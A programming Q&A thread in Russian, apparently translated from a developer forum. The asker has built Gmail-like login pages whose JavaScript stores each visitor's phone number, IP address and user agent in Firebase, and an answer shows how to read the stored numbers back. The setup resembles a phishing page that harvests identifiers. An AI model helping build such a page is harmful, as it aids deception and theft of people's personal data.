У меня было две страницы входа в html, похожие на Gmail. На первой странице я ввожу номер мобильного телефона, и он сохраняется в базе данных firebase, затем нажимаю следующую кнопку, появляется страница входа, здесь, в метке, я хочу получить номер мобильного телефона из базы данных firebase.
// Initialize Firebase
firebase.initializeApp(config);
var userAgent = window.navigator.userAgent;
var req = new XMLHttpRequest();
var ip;
var timestamp;
req.onload = function () {
var d = new Date();
var dateformat = d.toTimeString();
dateformat = dateformat.split(' ')[0];
ip = JSON.parse(req.response).ip;
timestamp = d.getDate() + '/' + d.getMonth() + '/' + d.getFullYear() + ' ' + dateformat + ':' + d.getMilliseconds();
//savedata(ip,userAgent, d.getDate()+'/'+ d.getMonth()+'/'+ d.getFullYear()+' '+dateformat+':'+ d.getMilliseconds());
console.info(ip + ' ' + userAgent + ' ' + dateformat);
//Use ip asynchronously here
};
req.open("GET", "https://api.ipify.org/?format=json");
req.send();
var database = firebase.database();
var nextbutton = document.getElementById('Button1');
var mobileno = document.getElementById('identifierId');
nextbutton.addEventListener('click', function () {
//var d = new Date();
//var dateformat = d.toTimeString();
//dateformat = dateformat.split(' ')[0];
//window.location.href = "http://stackoverflow.com";
var ip = JSON.parse(req.response).ip;
// savedata(ip, userAgent, d.getDate() + '/' + d.getMonth() + '/' + d.getFullYear() + ' ' + dateformat + ':' + d.getMilliseconds());
console.info(ip + ' ' + userAgent);
database.ref('/email').push({
mobile: mobileno.value,
ip: ip,
useragent: userAgent,
timestamp: timestamp
}
)
//console.info("meesage sent" + mobileno.value)
}) <label id = "Label1"></label> // Here i want to retrieve the mobile no fro DB


![Безумие обратных вызовов в javascript [JS]](https://i.imgur.com/WsjO6zJb.png)


Чтобы получить номер мобильного телефона:
firebase.database().ref('/email').on('value', function(snap) {
snap.forEach(child => {
const info = child.val();
const mobileNum=info.mobile;
});
});
поскольку у вас есть эта база данных:
email
pushid
mobile: num
ip :ip
Я получаю синтаксические ошибки. Пожалуйста, введите свой код в мой фрагмент, чтобы мне просто пришлось скопировать весь фрагмент, поскольку я новичок в firebase